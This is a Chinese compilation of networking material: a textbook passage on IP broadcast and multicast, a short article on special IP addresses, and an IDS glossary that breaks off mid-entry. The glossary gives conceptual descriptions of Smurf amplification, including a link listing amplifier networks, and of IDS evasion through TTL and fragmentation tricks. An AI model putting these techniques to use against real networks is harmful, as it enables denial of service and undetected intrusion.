一个未解的问题是：如果一个主机是多接口的，当一个进程向本网广播地址发送数据报时，为实现广播，是否应该将数据报发送到每个相连的接口上？如果不是这样，想对主机所有接口广播的应用必须确定主机中支持广播的所有接口，然后向每个接口发送一个数据报复制。
大多数BSD系统将255.255.255.255看作是配置后第一个接口的广播地址，并且不提供向所属具备广播能力接口传送数据报的功能。不过，routed（见10.3）和rwhod（BSD rwho客户的服务器）是向每个接口发送UDP数据报的两个应用程序。这两个应用程序均有相似的启动过程来确定主机中的所有接口，并了解哪些接口具备广播能力。同时，将对应于那种接口的指向网络的广播地址作为向该接口发送的数据报的目的地址。
Host Requirements RFC没有进一步涉及多接口主机是否应当向其所有的接口发送受限的广播。
指向网络的广播
指向网络的广播地址是主机号字段均为1的地址。A类网络广播地址为netid.255.255.255，其中netid为A类网络的网络号。
一个路由器必须转发指向网络的广播，但它也必须有一个不进行转发的选择。
指向子网的广播
指向子网的广播地址为主机号码字段均为1且有特定子网号的地址。作为子网直接广播地址的IP地址需要了解子网的掩码。例如，如果路由器收到发往128.1.2.255的数据报，当B类网络128.1的子网掩码为255.255.255.0时，该地址就是指向子网的广播地址；但如果该子网的掩码为255.255.254.0，该地址就不是指向子网的广播地址。
指向所有子网的广播
指向所有子网的广播也需要了解目的网络的子网掩码，以便与指向网络的广播地址区分开。指向所有子网的广播地址的子网号字段及主机号字段均为1。例如，如果目的子网掩码为255.255.255.0，那么IP地址128.1.255.255是一个指向所有子网的广播地址。然而，如果网络没有划分子网，这就是一个指向网络的广播。
当前的看法[Almquist 1993]是这种广播是陈旧过时的，更好的方式是使用多播而不是对所有子网的广播。
[Almquist 1993] 解释了RFC 922需要一个向所有子网的广播来传送给所有子网，但当前的路由器没有这么做。这很幸运，因为一个已经错误配置的主机没有它的主机掩码会把它的本地广播传送到所有子网。例如，如果IP地址为128.1.2.3的主机没有设置子网掩码，它的广播地址在正常情况下的默认值是128.1.255.255。但如果子网掩码被设置为255.255.255.0，那么由错误配置的主机发出的广播将指向所有的子网。
1983年问世的4.2BSD是第一个影响广泛的TCP/IP的实现，它使用主机号全0作为广播地址。一个最早有关广播IP地址参考是IEN 212 [Gurwitz and Hinden 1982]，它提出用主机号中的1比特来表示IP广播地址。（IENs 是互联网试验注释，基本上是RFC的前身。）RFC 894 [Hornig 1984]认为4.2BSD使用不标准的广播地址，但RFC 906 [Finlayson 1984] 注意到对广播地址还没有Internet标准。他还在RFC 906加了一个脚注承认缺少标准的广播地址，并强烈推荐将主机号全1作为广播地址。尽管1986年的4.3BSD采用主机号全1表示广播地址，但直到90年代早期操作系统（突出的是SunOS 4.x）还继续使用非标准的广播地址。
12.3 广播的例子
广播是怎样传送的？路由器及主机又如何处理广播？很遗憾，这是难于回答的问题，因为它依赖于广播的类型、应用的类型、TCP/IP实现方法以及有关路由器的配置。
首先，应用程序必须支持广播。如果执行
sun % ping 255.255.255.255
/usr/etc/ping: unknown host 255.255.255.255
打算进行在本地电缆上的广播，但它无法进行，原因在于该应用程序（ping）中存在一个程序设计上的问题。大多数应用程序收到点分十进制的IP地址或主机名后，会调用函数inet_addr(3)来把它们转化为32 bit的二进制IP地址。假定要转化的是一个主机名，如果转化失败，该库函数将返回-1来表明存在某种差错（例如是字符而不是数字或串中有小数点），但本网广播地址（255.255.255.255）也被当作存在差错而返回-1。大多数程序均假定接收到的字符串是主机名，然后查找域名系统DNS（第14章），失败后输出差错信息如“未知主机”。
如果我们修复ping程序中这个欠缺，结果也并不总是令人满意的。在6个不同系统的测试中，仅有一个像预期的那样产生了一个本网广播数据报。大多数则在路由表中查找IP地址255.255.255.255，而该地址被用作默认路由器地址，因此向默认路由器单播一个数据报。最终该数据报被丢弃。
指向子网的广播是我们应该使用的。在6.3节中，我们向测试网络（见封2）中IP地址为 140.252.13.63 的以太网发送数据报，并接收以太网中所有主机的回答。与子网广播地址关联的每个接口是用于命令ifconfig（见3.8节）的值。如果我们ping那个地址，预期的结果是：
（见原书p.173①）
IP通过目的地址（140.252.13.63）来确定这是指向子网的广播地址，然后向链路层的广播地址发送该数据报。
我们在6.3提及的这种类型广播的接收对象为包括发送主机在内的局域网中的所有主机，因此可以看到除了收到网内其他主机的答复外，还收到了来自发送主机（sun）的答复。
在这个例子中，我们也显示了执行ping广播地址前后ARP缓存的内容。这可以显示广播与ARP之间的相互作用。执行ping命令前ARP缓存是空的，而执行后是满的。（也就是说，对网内其他每个响应回显请求的主机在ARP缓存中均有一个条目。）我们提到的该以太数据帧被传送到链路层的广播地址（0xffffffff）是如何发生的呢？由sun主机发送的数据帧不需要ARP。
如果使用tcpdump来观察ping的执行过程，可以看到广播数据帧的接收者在发送它的响应之前，首先产生一个对sun主机的ARP请求，因为它的回答是以单播形式发回的。在4.5节我们介绍了一个ARP请求的接收者（该例中是sun）通常在发送ARP应答外，还将请求主机的IP地址和物理地址加入到ARP缓存中去。这基于这样一个假定：如果请求者向我们发送一个数据报，我们也很可能想向它发回什么。
我们使用的ping程序有些特殊，原因在于它使用的编程接口（在大多数Unix实现中是“低级插口(raw socket)”）通常允许向一个广播地址发送数据报。如果我们使用不支持广播的应用如TFTP情况如何呢？（TFTP将在第15章详细介绍。）
bsdi % tftp 启动客户程序
tftp> connect 140.252.13.63说明服务器的IP地址
tftp> get temp.foo 试图从服务器或获取一个文件
tftp: sendto: Permission denied
tftp> quit 终止客户程序
在这个例子中，程序立即产生了一个差错，但不向网络发送任何信息。产生这一切的原因在于插口提供的应用程序接口API只有进程明确打算进行广播时才允许它向广播地址发送UDP数据报。这主要是为了防止用户错误地采用了广播地址（正如此例）而应用程序却不打算广播。
在广播UDP数据报之前，使用插口中API的应用程序必须设置SO_BROADCAST 插口选项。
并非所有系统均强制使用这个限制。某些系统中无需进程进行这个说明就能广播UDP数据报。而某些系统则有更多的限制，需要有超级用户权限的进程才能广播。
下一个问题是是否转发广播数据。一些系统内核和路由器有一选项来控制允许或禁止这一特性。（见附录E）
如果我们让路由器bsdi能够转发广播数据，然后在主机slip上运行ping程序，我们能够观察到由路由器bsdi转发的子网广播数据报。转发广播数据报意味着路由器接收广播数据，确定该目的地址是对哪个接口的广播，然后用链路层广播向对应的网络转发数据报。
（见原书p.174①）
我们观察到它的确正常工作了，同时也看到了BSD系统中的ping程序检查重复的数据报序列号，如果出现重复的序列号的数据报就显示DUP! ，它意味着一个数据报已经在某处重复了，然而它正是我们所期望看到的，因为我们正向一个广播地址发送数据。
我们还可以从更远离广播所指向的络网上的主机上来进行这个试验。如果在主机angogh.cx.berkeley.edu（和我们的网络距离14跳）上运行ping程序，如果路由器sun被设置为能够转发所指向的广播，它还能正常工作。在这种情况下，这个IP数据报（传送ICMP回显请求）被路径上的每个路由器像正常的数据报一样转发，它们均不知道它们传送的实际上是广播数据。接着最后一个路由器netb看到主机号为63，就将其转发给路由器sun。路由器sun觉察到该目的IP地址事实上是一个相连子网接口上的广播地址，就以该数据报以链路层广播传往相应网络。
广播是一种应该谨慎使用功能。在许多情况下，IP多播被证明是一个更好的解决办法。
12.4 多播
IP多播提供两类服务。
1. 向多个目的地址传送数据。有许多向多个接收者传送信息的应用：例如交互式会议系统和向多个接收者分发邮件或新闻。如果不采用多播，目前这些应用大多采用TCP来完成（向每个目的地址传送一个单独的数据复制）。然而，既使使用多播，某些应用可能继续采用TCP来保证它的可靠性。
2. 客户对服务器的请求。例如，无盘工作站需要确定启动引导服务器。目前，这项服务是通过广播来提供的（正如第16章的BOOTP），但是使用多播可降低不提供这项服务主机的负担。
多播组地址
图12.2 显示了D类IP地址的格式。
图12.2 D类IP地址格式
不像图1.5 所示的其他三类IP地址（A、B和C），分配的28 bit均用作多播组号码而不再表示其他。
多播组地址包括最高4 bit为1110的类别比特和多播组号。它们通常可表示为由点分十进制数，范围从224.0.0.0到239.255.255.255。
能够接收发往一个特定多播组地址数据的主机集合称为主机组(host group)。一个主机组可跨越多个网络。主机组中成员可随时加入或离开主机组。主机组中对主机的数量没有限制，同时不属于某一主机组的主机可以向该组发送信息。
一些多播组地址被IANA确定为熟知地址。它们也被当作永久主机组，这和TCP及UDP中的熟知端口相似。同样的，这些熟知多播地址在RFC最新分配数字中列出。注意这些多播地址所代表的组是永久组，而它们的组成员却不是永久的。
例如，224.0.0.1代表“该子网内的所有系统组”，224.0.0.2代表“该子网内的所有路由器组”。多播地址224.0.1.1用作网络时间协议NTP，224.0.0.9用作RIP-2(见10.5节)，224.0.1.2用作SGI公司的dogfight应用。
多播组地址到以太网地址的转换
IANA拥有一个以太网地址块，即高位24 bit为00:00:5e（十六进制表示）的以太网地址，这意味着该地址块所拥有的地址范围从00:00:5e:00:00:00到00:00:5e:ff:ff:ff。IANA将其中的一半分配为多播地址。为了指明一个多播地址，任何一个以太网地址的首字节必须是01，这意味着与IP多播相对应的以太网地址范围从01:00:5e:00:00:00到01:00:5e:7f:ff:ff。
这里对CSMA/CD或令牌网使用的是Internet标准比特顺序，和在内存中出现的比特顺序一样。这也是大多数程序设计者和系统管理者采用的顺序。IEEE文档采用了这种比特的传输顺序。Assigned Numbers RFC给出了这些表示的差别。
这个地址分配将使以太网多播地址中的23 bit与IP多播组号对应起来，这通过将多播组号中的低位23 bit映射到以太网地址中的低位23 bit实现，这个过程如图12.3。
既然多播组号中的最高5 bit在映射过程中被忽略，因此每个以太网多播地址对应的多播组是不唯一的。32个不同的多播组号被映射为一个以太网地址。例如，多播地址224.128.64.32（十六进制e0.80.40.20）和224.0.64.32（十六进制e0.00.40.20）都映射为同一以太网地址01:00:5e:00:40:20。
既然地址映射是不唯一的，这意味着设备驱动程序或IP层（见图12.1）必须进行数据报过滤，因为网卡可能接收到主机不想接收的多播数据帧。另外，如果网卡不提供足够的多播数据帧过滤功能，设备驱动程序就必须接收所有多播数据帧，然后对它们进行过滤。
图12.3 D类IP地址到以太网多播地址的映射

局域网网卡趋向两种处理类型，一种是网卡根据对多播地址的散列值实行多播过滤，这意味仍会接收到不想接收的多播数据。另一种网卡是只接收一些固定数目的多播地址，这意味着当主机想接收超过网卡预先支持多播地址以外的多播地址时，必须将网卡设置为“多播混杂(multicast promiscuous)”模式。因此，这两种类型的网卡仍需要设备驱动程序检查收到的帧是否真是主机所需要的。
既使网卡实现了完美的多播过滤（基于48 bit的硬件地址），由于从D类IP地址到48 bit的硬件地址的映射不是一对一的，过滤过程仍是必要的。
尽管存在地址映射不完美和需要硬件过滤的不足，多播仍然比广播好。
单个物理网络的多播是简单的。多播进程将目的IP地址指明为多播地址，设备驱动程序将它转换为相应的以太网地址，然后把数据发送出去。这些接收进程必须通知它们的IP层它们想接收的发往给定多播地址的数据报，并且设备驱动程序必须能够接收这些多播帧。这个过程就是“加入一个多播组”。（使用“接收进程”复数形式的原因在于对一确定的多播信息，在同一主机或多个主机上存在多个接收者，这也是为什么要首先使用多播的原因。）当一个主机收到多播数据报时，它必须向属于那个多播组的每个进程均传送一个复制。这和单个进程收到单播UDP数据报的UDP不同，使用多播，一个主机上可能存在多个属于同一多播组的进程。
当把多播扩展到单个物理网络以外需要通过路由器转发多播数据时，复杂性就增加了。需要有一个协议让多播路由器了解确定网络中属于确定多播组的任何一个主机。这个协议就是Internet组管理协议（IGMP），也是下一章介绍的内容。
FDDI和令牌环网络中的多播
FDDI网络使用相同的D类IP地址到48 bit FDDI地址的映射过程[Katz 1990]。令牌环网络通常使用不同的地址映射方法，这是因为大多数令牌控制中的限制。
12.5 小结
广播是将数据报发送到网络中的所有主机（通常是本地相连的网络），而多播是将数据报发送到网络的一个主机组。这两个概念的基本点在于当收到送往上一个协议栈的数据帧时采用不同类型的过滤。每个协议层均可以因为不同的理由丢弃数据报。
目前有四种类型的广播地址：受限的广播、指向网络的广播、指向子网的广播和指向所有子网的广播。最常用的是指向子网的广播。受限的广播通常只在系统初始启动时才会用到。
试图通过路由器进行广播而发生的问题，常常是因为路由器不了解目的网络的子网掩码。结果与多种因素有关：广播地址类型、配置参数等等。
D类IP地址被称为多播组地址。通过将其低位23 bit映射到相应以太网地址中便可实现多播组地址到以太网地址的转换。由于地址映射是不唯一的，因此需要其他的协议实现额外的数据报过滤。
习题
12.1 广播是否增加了网络通信量？
12.2 考虑一个拥有50台主机的以太网：20台运行TCP/IP而其他30台运行其他的协议族。主机如何处理来自运行另一个协议族主机的广播？
12.3 你登录到一个过去从来没有用过的Unix系统，并且打算找出所有支持广播的接口的指向子网的广播地址。你如何做到这点？
12.4 如果我们用ping程序向一个广播地址发送一个长的分组，如
（见原书p.178①）
它正常工作，但将分组的长度再增加一个字节后出现如下差错：
sun % ping 140.252.13.63 1473
PING 140.252.13.63: 1473 data bytes
sendto: Message too long
究竟出了什么问题?
12.5 重做习题10.6，假定8个RIP报文是通过多播而不是广播（使用RIP 版本2）。有什么变化？


菜鸟必读之特殊用途的IP地址介绍

信息来源：黑客基地
    一、0.0.0.0
    严格说来，0.0.0.0已经不是一个真正意义上的IP地址了。它表示的是这样一个集合：所有不清楚的主机和目的网络。这里的“不清楚”是指在本机的路由表里没有特定条目指明如何到达。对本机来说，它就是一个“收容所”，所有不认识的“三无”人员，一律送进去。如果你在网络设置中设置了缺省网关，那么Windows系统会自动产生一个目的地址为0.0.0.0的缺省路由。
    二、255.255.255.255
    限制广播地址。对本机来说，这个地址指本网段内(同一广播域)的所有主机。如果翻译成人类的语言，应该是这样：“这个房间里的所有人都注意了！”这个地址不能被路由器转发。
    三、127.0.0.1
    本机地址，主要用于测试。用汉语表示，就是“我自己”。在Windows系统中，这个地址有一个别名“Localhost”。寻址这样一个地址，是不能把它发到网络接口的。除非出错，否则在传输介质上永远不应该出现目的地址为“127.0.0.1”的数据包。
    四、224.0.0.1
    组播地址，注意它和广播的区别。从224.0.0.0到239.255.255.255都是这样的地址。224.0.0.1特指所有主机，224.0.0.2特指所有路由器。这样的地址多用于一些特定的程序以及多媒体程序。如果你的主机开启了IRDP(Internet路由发现协议，使用组播功能)功能，那么你的主机路由表中应该有这样一条路由。
    五、169.254.x.x
    如果你的主机使用了DHCP功能自动获得一个IP地址，那么当你的DHCP服务器发生故障，或响应时间太长而超出了一个系统规定的时间，Wingdows系统会为你分配这样一个地址。如果你发现你的主机IP地址是一个诸如此类的地址，很不幸，十有八九是你的网络不能正常运行了。
    六、10.x.x.x、172.16。x。x～172.31。x。x、192.168。x。x
    私有地址，这些地址被大量用于企业内部网络中。一些宽带路由器，也往往使用192.168.1.1作为缺省地址。私有网络由于不与外部互连，因而可能使用随意的IP地址。保留这样的地址供其使用是为了避免以后接入公网时引起地址混乱。使用私有地址的私有网络在接入Internet时，要使用地址翻译(NAT)，将私有地址翻译成公用合法地址。在Internet上，这类地址是不能出现的。
    对一台网络上的主机来说，它可以正常接收的合法目的网络地址有三种：本机的IP地址、广播地址以及组播地址。


入侵检测术语全接触

文章作者：千里行工作室
随着IDS（入侵检测系统）的超速发展，与之相关的术语同样急剧演变。本文向大家介绍一些IDS技术术语，其中一些是非常基本并相对通用的，而另一些则有些生僻。由于IDS的飞速发展以及一些IDS产商的市场影响力，不同的产商可能会用同一个术语表示不同的意义，从而导致某些术语的确切意义出现了混乱。对此，本文会试图将所有的术语都囊括进来。
Alerts（警报）
当一个入侵正在发生或者试图发生时，IDS系统将发布一个alert信息通知系统管理员。如果控制台与IDS系统同在一台机器，alert信息将显示在监视器上，也可能伴随着声音提示。如果是远程控制台，那么alert将通过IDS系统内置方法（通常是加密的）、SNMP（简单网络管理协议，通常不加密）、email、SMS（短信息）或者以上几种方法的混合方式传递给管理员。
Anomaly（异常）
当有某个事件与一个已知攻击的信号相匹配时，多数IDS都会告警。一个基于anomaly（异常）的IDS会构造一个当时活动的主机或网络的大致轮廓，当有一个在这个轮廓以外的事件发生时，IDS就会告警，例如有人做了以前他没有做过的事情的时候，例如，一个用户突然获取了管理员或根目录的权限。有些IDS厂商将此方法看做启发式功能，但一个启发式的IDS应该在其推理判断方面具有更多的智能。
Appliance（IDS硬件）
除了那些要安装到现有系统上去的IDS软件外，在市场的货架上还可以买到一些现成的IDS硬件，只需将它们接入网络中就可以应用。一些可用IDS硬件包括CaptIO、Cisco Secure IDS、OpenSnort、Dragon以及SecureNetPro。
ArachNIDS
ArachNIDS是由Max Visi开发的一个攻击特征数据库，它是动态更新的，适用于多种基于网络的入侵检测系统，它的URL地址是http://www.whitehats.com/ids/。
ARIS：Attack Registry & Intelligence Service（攻击事件注册及智能服务）
ARIS是SecurityFocus公司提供的一个附加服务，它允许用户以网络匿名方式连接到Internet上向SecurityFocus报送网络安全事件，随后SecurityFocus会将这些数据与许多其它参与者的数据结合起来，最终形成详细的网络安全统计分析及趋势预测，发布在网络上。它的URL地址是http://aris.securityfocus.com/。
Attacks（攻击）
Attacks可以理解为试图渗透系统或绕过系统的安全策略，以获取信息、修改信息以及破坏目标网络或系统功能的行为。以下列出IDS能够检测出的最常见的Internet攻击类型：
●攻击类型1－DOS（Denial Of Service attack，拒绝服务攻击）：DOS攻击不是通过黑客手段破坏一个系统的安全，它只是使系统瘫痪，使系统拒绝向其用户提供服务。其种类包括缓冲区溢出、通过洪流（flooding）耗尽系统资源等等。
●攻击类型2－DDOS（Distributed Denial of Service，分布式拒绝服务攻击）：一个标准的DOS攻击使用大量来自一个主机的数据向一个远程主机发动攻击，却无法发出足够的信息包来达到理想的结果，因此就产生了DDOS，即从多个分散的主机一个目标发动攻击，耗尽远程系统的资源，或者使其连接失效。
●攻击类型3－Smurf：这是一种老式的攻击，但目前还时有发生，攻击者使用攻击目标的伪装源地址向一个smurf放大器广播地址执行ping操作，然后所有活动主机都会向该目标应答，从而中断网络连接。以下是10大smurf放大器的参考资料URL：http://www.powertech.no/smurf/。
●攻击类型4－Trojans（特洛伊木马）：Trojan这个术语来源于古代希腊人攻击特洛伊人使用的木马，木马中藏有希腊士兵，当木马运到城里，士兵就涌出木马向这个城市及其居民发起攻击。在计算机术语中，它原本是指那些以合法程序的形式出现，其实包藏了恶意软件的那些软件。这样，当用户运行合法程序时，在不知情的情况下，恶意软件就被安装了。但是由于多数以这种形式安装的恶意程序都是远程控制工具，Trojan这个术语很快就演变为专指这类工具，例如BackOrifice、SubSeven、NetBus等等。
Automated Response（自动响应）
除了对攻击发出警报，有些IDS还能自动抵御这些攻击。抵御方式有很多：首先，可以通过重新配置路由器和防火墙，拒绝那些来自同一地址的信息流；其次，通过在网络上发送reset包切断连接。但是这两种方式都有问题，攻击者可以反过来利用重新配置的设备，其方法是：通过伪装成一个友方的地址来发动攻击，然后IDS就会配置路由器和防火墙来拒绝这些地址，这样实际上就是对"自己人"拒绝服务了。发送reset包的方法要求有一个活动的网络接口，这样它将置于攻击之下，一个补救的办法是：使活动网络接口位于防火墙内，或者使用专门的发包程序，从而避开标准IP栈需求。
CERT（Computer Emergency Response Team，计算机应急响应小组）
这个术语是由第一支计算机应急反映小组选择的，这支团队建立在Carnegie Mellon大学，他们对计算机安全方面的事件做出反应、采取行动。现在许多组织都有了CERT，比如CNCERT/CC（中国计算机网络应急处理协调中心）。由于emergency这个词有些不够明确，因此许多组织都用Incident这个词来取代它，产生了新词Computer Incident Response Team（CIRT），即计算机事件反应团队。response这个词有时也用handling来代替，其含义是response表示紧急行动，而非长期的研究。
CIDF（Common Intrusion Detection Framework；通用入侵检测框架）
CIDF力图在某种程度上将入侵检测标准化，开发一些协议和应用程序接口，以使入侵检测的研究项目之间能够共享信息和资源，并且入侵检测组件也能够在其它系统中再利用。CIDF的URL地址是：http://www.isi.edu/gost/cidf/。
CIRT（Computer Incident Response Team，计算机事件响应小组）
CIRT是从CERT演变而来的，CIRT代表了对安全事件在哲学认识上的改变。CERT最初是专门针对特定的计算机紧急情况的，而CIRT中的术语incident则表明并不是所有的incidents都一定是emergencies，而所有的emergencies都可以被看成是incidents。
CISL（Common Intrusion Specification Language，通用入侵规范语言）
CISL是CIDF组件间彼此通信的语言。由于CIDF就是对协议和接口标准化的尝试，因此CISL就是对入侵检测研究的语言进行标准化的尝试。
CVE（Common Vulnerabilities and Exposures，通用漏洞披露）
关于漏洞的一个老问题就是在设计扫描程序或应对策略时，不同的厂商对漏洞的称谓也会完全不同。还有，一些产商会对一个漏洞定义多种特征并应用到他们的IDS系统中，这样就给人一种错觉，好像他们的产品更加有效。MITRE创建了CVE，将漏洞名称进行标准化，参与的厂商也就顺理成章按照这个标准开发IDS产品。CVE的URL地址是：http://cve.mitre.org/。
Crafting Packets（自定义数据包）
建立自定义数据包，就可以避开一些惯用规定的数据包结构，从而制造数据包欺骗，或者使得收到它的计算机不知该如何处理它。制作自定义数据包的一个可用程序Nemesis，它的URL地址是：http://jeff.chi.wwti.com/nemesis/。
Desynchronization（同步失效）
desynchronization这个术语本来是指用序列数逃避IDS的方法。有些IDS可能会对它本来期望得到的序列数感到迷惑，从而导致无法重新构建数据。这一技术在1998年很流行，现在已经过时了，有些文章把desynchronization这个术语代指其它IDS逃避方法。
Eleet
当黑客编写漏洞开发程序时，他们通常会留下一个签名，其中最声名狼藉的一个就是elite。如果将eleet转换成数字，它就是31337，而当它是指他们的能力时，elite=eleet，表示精英。31337通常被用做一个端口号或序列号。目前流行的词是"skillz"。
Enumeration（列举）
经过被动研究和社会工程学的工作后，攻击者就会开始对网络资源进行列举。列举是指攻击者主动探查一个网络以发现其中有什么以及哪些可以被他利用。由于现在的行动不再是被动的，它就有可能被检测出来。当然为了避免被检测到，他们会尽可能地悄悄进行。
Evasion（躲避）
Evasion是指发动一次攻击，而又不被IDS成功地检测到。其中的窍门就是让IDS只看到一个方面，而实际攻击的却是另一个目标，所谓明修栈道，暗渡陈仓。Evasion的一种形式是为不同的信息包设置不同的TTL（有效时间）值，这样，经过IDS的信息看起来好像是无害的，而在无害信息位上的TTL比要到达目标主机所需要的TTL要短。一旦经过了IDS并接近目标，无害的部分就会被丢掉，只剩下有害的。
Exploits（漏洞利用）
对于每一个漏洞，都有利用此漏洞进行攻击的机制。为了攻击系统，攻击者编写出漏洞利用代码或教本。
对每个漏洞都会存在利用这个漏洞执行攻击的方式，这个方式就是Exploit。为了攻击系统，黑客会编写出漏洞利用程序。
漏洞利用：Zero Day Exploit（零时间漏洞利用）
零时间漏洞利用是指还未被了解且仍在肆意横行的漏洞利用，也就是说这种类型的漏洞利用当前还没有被发现。一旦一个漏洞利用被网络安全界发现，很快就会出现针对它的补丁程序，并在IDS中写入其特征标识信息，使这个漏洞利用无效，有效地捕获它。
False Negatives（漏报）
漏报是指一个攻击事件未被IDS检测到或被分析人员认为是无害的。
False Positives（误报）
误报是指实际无害的事件却被IDS检测为攻击事件。
Firewalls（防火墙）
防火墙是网络安全的第一道关卡，虽然它不是IDS，但是防火墙日志可以为IDS提供宝贵信息。防火墙工作的原理是根据规则或标准，如源地址、端口等，将危险连接阻挡在外。
FIRST（Forum of Incident Response and Security Teams，事件响应和安全团队论坛）
FIRST是由国际性政府和私人组织联合起来交换信息并协调响应行动的联盟，一年一度的FIRST受到高度的重视，它的URL地址是：http://www.first.org/。
Fragmentation（分片）
如果一个信息包太大而无法装载，它就不得不被分成片断。分片的依据是网络的MTU（Maximum Transmission Units，最大传输单元）。例如，灵牌环网（token ring）的MTU是4464，以太网（Ethernet）的MTU是1500，因此，如果一个信息包要从灵牌环网传输到以太网，它就要被分裂成一些小的片断，然后再在目的地重建。虽然这样处理会造成效率降低，但是分片的效果还是很好的。黑客将分片视为躲避IDS的方法，另外还有一些DOS攻击也使用分片技术。
Heuristics（启发）
Heuristics就是指在入侵检测中使用AI（artificial intelligence，人工智能）思想。真正使用启发理论的IDS已经出现大约10年了，但他们还不够"聪明"，攻击者可以通过训练它而使它忽视那些恶意的信息流。有些IDS使用异常模式去检测入侵，这样的IDS必须要不断地学习什么是正常事件。一些产商认为这已经是相当"聪明"的IDS了，所以就将它们看做是启发式IDS。但实际上，真正应用AI技术对输入数据进行分析的IDS还很少很少。
Honeynet Project（Honeynet工程）
Honeynet是一种学习工具，是一个包含安全缺陷的网络系统。当它受到安全威胁时，入侵信息就会被捕获并接受分析，这样就可以了解黑客的一些情况。Honeynet是一个由30余名安全专业组织成员组成、专门致力于了解黑客团体使用的工具、策略和动机以及共享他们所掌握的知识的项目。他们已经建立了一系列的honeypots，提供了看似易受攻击的Honeynet网络，观察入侵到这些系统中的黑客，研究黑客的战术、动机及行为。
Honeypot（蜜罐）
蜜罐是一个包含漏洞的系统，它模拟一个或多个易受攻击的主机，给黑客提供一个容易攻击的目标。由于蜜罐没有其它任务需要完成，因此所有连接的尝试都应被视为是可疑的。蜜罐的另一个用途是拖延攻击者对其真正目标的攻击，让攻击者在蜜罐上浪费时间。与此同时，最初的攻击目标受到了保护，真正有价值的内容将不受侵犯。
蜜罐最初的目的之一是为起诉恶意黑客搜集证据，这看起来有"诱捕"的感觉。但是在一些国家中，是不能利用蜜罐收集证据起诉黑客的。
IDS Categories（IDS分类）
有许多不同类型的IDS，以下分别列出：
●IDS分类1－Application IDS（应用程序IDS）：应用程序IDS为一些特殊的应用程序发现入侵信号，这些应用程序通常是指那些比较易受攻击的应用程序，如Web服务器、数据库等。有许多原本着眼于操作系统的基于主机的IDS，虽然在默认状态下并不针对应用程序，但也可以经过训练，应用于应用程序。例如，KSE（一个基于主机的IDS）可以告诉我们在事件日志中正在进行的一切，包括事件日志报告中有关应用程序的输出内容。应用程序IDS的一个例子是Entercept的Web Server Edition。
●IDS分类2－Consoles IDS（控制台IDS）：为了使IDS适用于协同环境，分布式IDS代理需要向中心控制台报告信息。现在的许多中心控制台还可以接收其它来源的数据，如其它产商的IDS、防火墙、路由器等。将这些信息综合在一起就可以呈现出一幅更完整的攻击图景。有些控制台还将它们自己的攻击特征添加到代理级别的控制台，并提供远程管理功能。这种IDS产品有Intellitactics Network Security Monitor和Open Esecurity Platform。
●IDS分类3－File Integrity Checkers（文件完整性检查器）：当一个系统受到攻击者的威胁时，它经常会改变某些关键文件来提供持续的访问和预防检测。通过为关键文件附加信息摘要（加密的杂乱信号），就可以定时地检查文件，查看它们是否被改变，这样就在某种程度上提供了保证。一旦检测到了这样一个变化，完整性检查器就会发出一个警报。而且，当一个系统已经受到攻击后，系统管理员也可以使用同样的方法来确定系统受到危害的程度。以前的文件检查器在事件发生好久之后才能将入侵检测出来，是"事后诸葛亮"，最近出现的许多产品能在文件被访问的同时就进行检查，可以看做是实时IDS产品了。该类产品有Tripwire和Intact。
●IDS分类4－Honeypots（蜜罐）：关于蜜罐，前面已经介绍过。蜜罐的例子包括Mantrap和Sting。
●IDS分类5－Host-based IDS（基于主机的IDS）：这类IDS对多种来源的系统和事件日志进行监控，发现可疑活动。基于主机的IDS也叫做主机IDS，最适合于检测那些可以信赖的内部人员的误用以及已经避开了传统的检测方法而渗透到网络中的活动。除了完成类似事件日志阅读器的功能，主机IDS还对"事件/日志/时间"进行签名分析。许多产品中还包含了启发式功能。因为主机IDS几乎是实时工作的，系统的错误就可以很快地检测出来，技术人员和安全人士都非常喜欢它。现在，基于主机的IDS就是指基于服务器/工作站主机的所有类型的入侵检测系统。该类产品包括Kane Secure Enterprise和Dragon Squire。
●IDS分类6－Hybrid IDS（混合IDS）：现代交换网络的结构给入侵检测操作带来了一些问题。首先，默认状态下的交换网络不允许网卡以混杂模式工作，这使传统网络IDS的安装非常困难。其次，很高的网络速度意味着很多信息包都会被NIDS所丢弃。Hybrid IDS（混合IDS）正是解决这些问题的一个方案，它将IDS提升了一个层次，组合了网络节点IDS和Host IDS（主机IDS）。虽然这种解决方案覆盖面极大，但同时要考虑到由此引起的巨大数据量和费用。许多网络只为非常关键的服务器保留混合IDS。有些产商把完成一种以上任务的IDS都叫做Hybrid IDS，实际上这只是为了广告的效应。混合IDS产品有CentraxICE和RealSecure Server Sensor。
●IDS分类7－Network IDS（NIDS，网络IDS）：NIDS对所有流经监测代理的网络通信量进行监控，对可疑的异常活动和包含攻击特征的活动作出反应。NIDS原本就是带有IDS过滤器的混合信息包嗅探器，但是近来它们变得更加智能化，可以破译协议并维护状态。NIDS存在基于应用程序的产品，只需要安装到主机上就可应用。NIDS对每个信息包进行攻击特征的分析，但是在网络高负载下，还是要丢弃些信息包。网络IDS的产品有SecureNetPro和Snort。
●IDS分类8－Network Node IDS（NNIDS，网络节点IDS）：有些网络IDS在高速下是不可靠的，装载之后它们会丢弃很高比例的网络信息包，而且交换网络经常会防碍网络IDS看到混合传送的信息包。NNIDS将NIDS的功能委托给单独的主机，从而缓解了高速和交换的问题。虽然NNIDS与个人防火墙功能相似，但它们之间还有区别。对于被归类为NNIDS的个人防火墙，应该对企图的连接做分析。例如，不像在许多个人防火墙上发现的"试图连接到端口xxx"，一个NNIDS会对任何的探测都做特征分析。另外，NNIDS还会将主机接收到的事件发送到一个中心控制台。NNIDS产品有BlackICE Agent和Tiny CMDS。
●IDS分类9－Personal Firewall（个人防火墙）：个人防火墙安装在单独的系统中，防止不受欢迎的连接，无论是进来的还是出去的，从而保护主机系统。注意不要将它与NNIDS混淆。个人防火墙有ZoneAlarm和Sybergen。
●IDS分类10－Target-Based IDS（基于目标的IDS）：这是不明确的IDS术语中的一个，对不同的人有不同的意义。可能的一个定义是文件完整性检查器，而另一个定义则是网络IDS，后者所寻找的只是对那些由于易受攻击而受到保护的网络所进行的攻击特征。后面这个定义的目的是为了提高IDS的速度，因为它不搜寻那些不必要的攻击。
IDWG（Intrusion Detection Working Group，入侵检测工作组）
入侵检测工作组的目标是定义数据格式和交换信息的程序步骤，这些信息是对于入侵检测系统、响应系统以及那些需要与它们交互作用的管理系统都有重要的意义。入侵检测工作组与其它IETF组织协同工作。
IDWG的URL地址是：http://www.ietf.org/html.charters/idwg-charter.html。
IETF的URL地址是：http://www.ietf.org/。
Incident Handling（事件处理）
